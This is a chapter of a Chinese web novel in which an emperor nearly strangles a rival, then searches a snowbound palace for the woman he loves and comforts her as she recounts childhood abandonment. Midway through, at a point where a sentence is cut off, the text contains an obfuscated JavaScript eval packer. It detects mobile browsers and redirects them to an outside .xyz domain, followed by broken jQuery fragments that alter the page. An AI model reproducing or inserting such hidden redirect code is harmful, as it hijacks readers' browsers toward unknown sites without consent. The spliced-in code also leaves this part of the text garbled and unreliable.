53. 别亲族(二)

作品:《他能听到我的刺杀系统

    今日下了朝,裴聿怀收到了葛存请求见面。


    他原本因为姣枝还想放他一马,他竟然不怕死地找了过来。既然一心想求死,他便成全了他。


    裴聿怀与葛存一见面,没了往日刻意的寒暄,双方在空中掠过的视线火花四溅,俨然是到了敌人见面分外眼红。


    葛存没好气地扭过头,直接在一处蒲草垫坐下,毫无形象依着凭几,直言不讳道:“我知道你一直找我,想要我死。”


    裴聿怀闻言,无疑是肯定葛存就是他一直以来要找的那个人。他没有任何感慨或是惊疑不定,只十分平静地瞧了他一眼,没有一丝一毫的情绪波动。


    从进门来,裴聿怀都不曾有过任何动作。


    他身形高挑,站在殿门边上,外边明亮的光透过门缝洒了进来,而他背对着光,看不清晰脸上的表情,高大站在遮光处,显得格外阴沉森然,犹然站在修罗道里的恶鬼出世。


    第一次,葛存见到了这位年轻帝王的另外一面。


    也确信了他在朝中运用的雷霆手段,叫人足以被震慑且害怕。


    裴聿怀漫不经心地拢了拢袖子,他缓缓走前,葛存听到近乎细微的足音声,他整个懒洋洋的身姿因为他的动作而僵住,仿若等待着死亡的宣判。


    可是他近乎没有害怕,只是觉得有些可惜。


    他支起半边身子,手肘至于膝上,听裴聿怀近乎冷血的声音说:“你知道就好,事到如今,你必须死。”


    裴聿怀高大的身影挡在他眼前,看着他近乎失去理智的神情,冷然微笑。


    他们没了初见那般开怀,而是满怀憎恶地希望对方死去。


    葛存听罢,抬头瞧他,呵呵地笑了出来:“我实在是想不明白,我明明已经到了那么远的地方,你为什么还是想要杀我?你就那么想把我给斩草除根么?”


    居然还敢问他为什么那么想斩草除根。


    他的存在对于裴聿怀而言,是一个凌迟他的刀,是夺他命的黑白无常。


    竟然还满是不解的问他,说自己已经逃到了天涯海角,为什么还要这么死死抓住不放!


    裴聿怀再也支撑不住,他压抑怒火道:“是,我想你死!你的存在就是最大的不应该!”


    葛存索性不装了,他猛然站起身,眼中盛满被冲出来的怒火。


    他勃然大怒,暴喝道:“最应该死的人是你才对!我是无辜的!姣枝是无辜的!桃源村里的每个人都是无辜的!最有罪的人是你,是你这位掌握权力的圣人!”


    两方盛怒,起身而立,争执不下。


    没错,所有人都是无辜的!所有人都不应该死,最该死的只是德不配位,没有任何血脉的他!


    可凭什么啊?!


    凭什么他要成皇家被戏弄的棋子,凭什么他要成为皇权路下的垫脚石,凭什么上位者可以高高在上指点江山,而他被玩弄还要高高兴兴地感恩戴德?


    裴聿怀眼底充满猩红,他鬼气森森地朝他一笑,即使被葛存戳到了痛楚,他依旧保持略微好的体面。


    可就在下一瞬,他死死抓住葛存的衣领,继而往上,狠狠掐住他的脖子用力收紧。葛存没料到裴聿怀这般迅速蛮横的动作,仓皇地握住裴聿怀的手腕,只觉得空气越来越稀薄。


    葛存的面色瞬间变得涨红,过了一会儿,转为青白。


    不是武将出身的裴聿怀的力气竟然极大,明明一副文人墨客般的单薄清俊,却又隐含强势的气势。


    葛存挣扎的动作越来越小,眼见得葛存要被掐死了,裴聿怀突然看见外边有一道强光照了过来,怀恩见状,急急忙忙地跑了过来,瞧了一眼这位熟悉的面容,立马就想到了这位是姣枝小娘子那边的人。


    当下这人的面色惨白,裴聿怀的动作极大,怀恩真怕出了事情,招致裴聿怀与姣枝产生分歧,连忙说了小娘子三字。


    而裴聿怀似乎也察觉到此时此刻,眼前这人不应该死,况且他已经答应过姣枝。他失神片刻,缓缓松开了手。


    怀恩见人小命留住,赶紧再报:“圣上,姣枝小娘子不见了,这天寒地冻的,怕是要难熬啊!”


    没有缓过来的葛存睁开眼睛,他整个人变得激动,奋力扯住怀恩,强压住自己的不适,勉强问他:“她怎么会消失的?!你们知不知道她隐疾!”


    怀恩先是瞧了葛存深暗色掐红的印子,一闪而过惊诧,再而恢复神情,委婉回道:“好像是听太后殿下提及了郎君你,小娘子便慌慌张张地跑了出去。”


    裴聿怀意味不明地轻笑一声,他狠厉地目光瞥向葛存,当即转身。


    当下没空对付葛存,只吩咐将人看押起来,飞快回到了宫中。


    瑶芳与桐君原本万分后悔焦灼,见到裴聿怀那一瞬间,如同见到了靠山,当即哭喊着说:“圣上,雪太大了,天色又黑,我们只跟到宣政殿,就找不到了姣枝小娘子了。皇宫那么大,天又那么冷,小娘子穿的如此单薄,这可怎么受的住。”


    裴聿怀沉着脸,当即命令金吾卫跟着一同去找人。他连披风也没拿急急在宣政殿内找了一圈,又脚步仓促地去了之前他与姣枝去过的任何地方。


    葛存先前在殿内的大吼,近乎无孔不入,声声震耳。


    “姣枝生了病,她从小被人丢下过很多次,每一次的消失,她都需要找一个地方躲起来,有时候是悬崖,有时候是屋顶,有时候是在树梢上,也有时候是在伸手不见五指的黑暗里!她会把自己关起来,让谁都找不到她!”


    裴聿怀从宣政殿去了太极殿,又从流光台去了太液池,他坐在前面寻找,后面跟随的宫人在身后呼叫。


    今日这夜的雪很大,不出片刻,肩膀与发梢上落下了一层薄薄的积雪,怀恩亦是落于裴聿怀身后,他脚步匆忙跟随,却一脚迈进深厚的雪地中,眼看着裴聿怀越走越远,急急喊道:“圣上!”


    虽然他们没有力气去寻找,不代表裴聿怀会停下来。


    他们在身后看着裴聿怀凭借那盏微亮的光探了又探,肩膀的雪铺满厚厚一层,脚所穿的鞋袜都在夜里的雪天内被浸透。


    裴聿怀因为慌张,不知累地又重新回到了宣政殿,他看着周围明亮的灯盏,第一次痛恨这座宫城居然这般大,连个人都找不到。


    黑沉的深夜里的雪下得越来越厚,裴聿怀怕姣枝有个三长两短,他的脚步不敢停下来,转身又迈下了台阶。


    脑海突然想到有段时间,姣枝每日都会来宣政殿,她带着自己在殿外走了一圈,指了指角落开出的小花儿:“聿怀,角落里开出花儿来了。虽无人欣赏,但很厉害啊。”


    鬼使神差的,裴聿怀脚步一顿,他不可置信地朝角落的黑暗处探去。


    姣枝整个人蜷缩在黑暗的角落里,满身的白雪铺满她的每一处,如果不仔细看去,俨然像是一颗不太圆的雪球。她没有发出任何声音,就连呼吸都是微弱的。


    没有哭得撕心裂肺,没有大摇大摆告诉所有人她的状态,她只是躲在角落里,默默的流泪,好像把所有情绪都积压在心中。


    像一只受伤的小兽舔舐自己身上的伤口。


    安静,还有些沉默。


    裴聿怀顿时有些说不出话来,仿若舌尖连带着喉咙都溢满哽咽的苦涩,更像是有一把尖锐的刀刃像是开了寒光,在这一日,将他划了个鲜血淋漓。


    漫天飞雪,洒过微弱的灯笼上,像是被照映出来的点点红梅。


    姣枝感知有灯照在她身上,她颤抖着雪白的睫毛,微微抬起脑袋,看着手足无措心疼无措的聿怀,尽力地提起嘴角笑了笑,哑声喊了一声:“聿怀。”


    裴聿怀再也忍不住,抚开姣枝头上、肩膀上的白雪,看着她脸颊上的汩汩眼痕,慌张地说:“这里太冷了,我们先进去。”


    当下的姣枝已经被冻得没有任何知觉了,她只能依靠着裴聿怀将她托抱着起来。


    裴聿怀抱起姣枝时,抖落了好一层厚雪,而一直拿着的那盏灯落在了地上,他忍不住朝灯笼的周围看了眼,四周雪被压得很深,唯独角落里的那一棵花是被姣枝挡住了风雪,在其摇曳。


    他恍惚收回目光,稳稳迈过一层层积雪,大步跨过,飞奔到殿内。


    殿内的地龙烧得很暖和,桐君与瑶芳见到人,眼睛哭得通红,赶紧递上一直备好的披风,转头又去找了怀恩,朗声道:“告诉他们不用找了,小娘子已经找到了。”


    “也真是怪事。”怀恩一边吩咐一边嘀咕,“今日保护小娘子的暗卫吃坏了肚子,就这么今日不当职,便闹出这样大的事情。”


    姣枝沉默地坐着,看着这么多人为她忙前忙后,不禁一阵愧疚。


    许久后,她逐渐回过温来,动了动发麻的手指,这才僵硬地抬起脑袋看向裴聿怀。


    这么一看还不打紧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056087|162248||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,可恰恰是这么一眼,裴聿怀便红了眼,连带着姣枝也跟着不自在。


    她无所适从地移开眼,再而低着脑袋。


    这一夜,给很多人都添了麻烦,如果聿怀要怪罪她,她也不会说一句。


    但偏偏聿怀什么都没有问,一句责怪也没有说。


    最后,他只是问她:“你是不是受了什么委屈?为什么要躲起来?”


    上一次,岸音回到了桃源村,也打听过姣枝的事情。隔壁的邻居跟岸音说:“那个傻女娘,我们发现的时候,她已经和陆佑善的尸体待了三天。这三日不吃不喝,面如土灰,好似也快走掉了半条魂。你是没见到,吓人的很,也心疼的很,什么都不懂。”


    即使没听到那人说,听这么短短几句,也能觉得酸心。


    姣枝紧紧抿唇,想要伸手去碰一下聿怀,但是她满身寒气入体,只好退却这样的心思。


    裴聿怀看出姣枝的想法,他把人揽入怀中。姣枝整个人的心绪在她怀中平复了下来,她很小心地说:“其实每一次看到太后殿下,我都害怕,还心痛的厉害。特别是什么都记起来的那夜。”


    原来不是不记得,只是不想回忆。


    姣枝回过劲来,眼皮连着鼻尖逐渐发烫,眼眶里蓄满泪水,她垂下眼睛,眼泪就这么掉进聿怀的脖颈里,惹得裴聿怀的心尖也跟着这一滴泪烫灼了一下。


    姣枝满腹委屈,在大雪天里被掩盖了起来,现如今躲在这个殿堂内,大雪消融,所有的往事如同海水般铺天盖地溢满在脑海里。


    她旧事重提道:“你之前是不是想丢下我的?你不要骗我,我会受不了的。聿怀,你是不是想丢下我?”


    这样的状态,裴聿怀怎么敢跟姣枝说实话,他心若被捅了几个窟窿的钝痛,小心翼翼道:“没有,我没有想丢下你,你不是一回头,我就出现了吗?你好好想想,是不是?我一直在你身后。”


    姣枝努力回想,她明明知道裴聿怀说的是实话,可她心里有一点变扭,转头小声说起幼时事。


    “我从小就知道我不是阿娘的亲生孩子,他们那些人挺坏的,经常打我、骂我,嘲笑我,说我是没娘没爹的野孩子,我明明知道他们没有说错,可我就是好难受,我的心就好痛好痛。”她止不住流泪,结结巴巴地说,“我、我不想哭的,我给你丢人了。”


    裴聿怀连忙安抚道:“没有,不丢人。你很好的,你自己都不知道你有多好。”


    姣枝摇头,声音染上哽咽的哭腔:“我不好,不然我的亲生阿娘和佑善阿娘为什么都会不要我呢?其实,我知道的,佑善阿娘在我六岁的时候把我丢在街上了,可能是我哭得厉害,周围的人频频虎视眈眈地看着我,她才又把我拉回去了。八岁也丢过,十岁也有。”


    姣枝的泪不停掉了下来,滚烫的温度落在裴聿怀的脖颈处,悄无声息地蜿蜒而下,落在了心口,裴聿怀感知到五内俱崩,透骨酸心。


    “她以为我不知道,其实我知道的,我一直都知道,只是我不想说,我们俩就可以一直当做不知道的好好生活下去。聿怀,你骗我,我知道你想丢下我的,你和我阿娘的眼神一模一样,挣扎、担忧、不忍,不过你和我阿娘又不一样,我回来时,看到你眼中的庆幸,可她没有。”


    裴聿怀想到当初,他觉得自己罪该万死,疼得不能自己。


    他亲了亲姣枝的发梢,痛心入骨,哑声道:“对不起,我骗了你,谢谢你,原谅了我。”


    “我也知道,你是想给我自由的。”姣枝由衷说,“在你身边,我很自由。”


    姣枝似乎要在这一夜要把所有的委屈都说个干净:“幸好你喜欢我,我也很喜欢你。但为什么我的阿娘都不喜欢我呢。”


    裴聿怀说:“没有人会不喜欢这样的姣枝。”


    姣枝继续摇头,默默流泪:“聿怀,我真的好痛,我小时候可以跟阿娘说任何话,唯独‘为什么要丢下我’,我说不出口,于是慢慢就变成了我心底无法消除的一根刺,每当我忘记的时候,有人时不时就戳我一下。”


    让她千疮百孔,鲜血直流。


    裴聿怀珍重地吻了吻姣枝的脸颊上的泪,好似在一点点带着最高最重的敬意来呵护,最后轻轻碰上她的额头,很轻很慢地安抚,声音如同涓涓细流,寒梅绽放。


    好听,还很安定。


    “我永远都不会丢下你,姣枝。”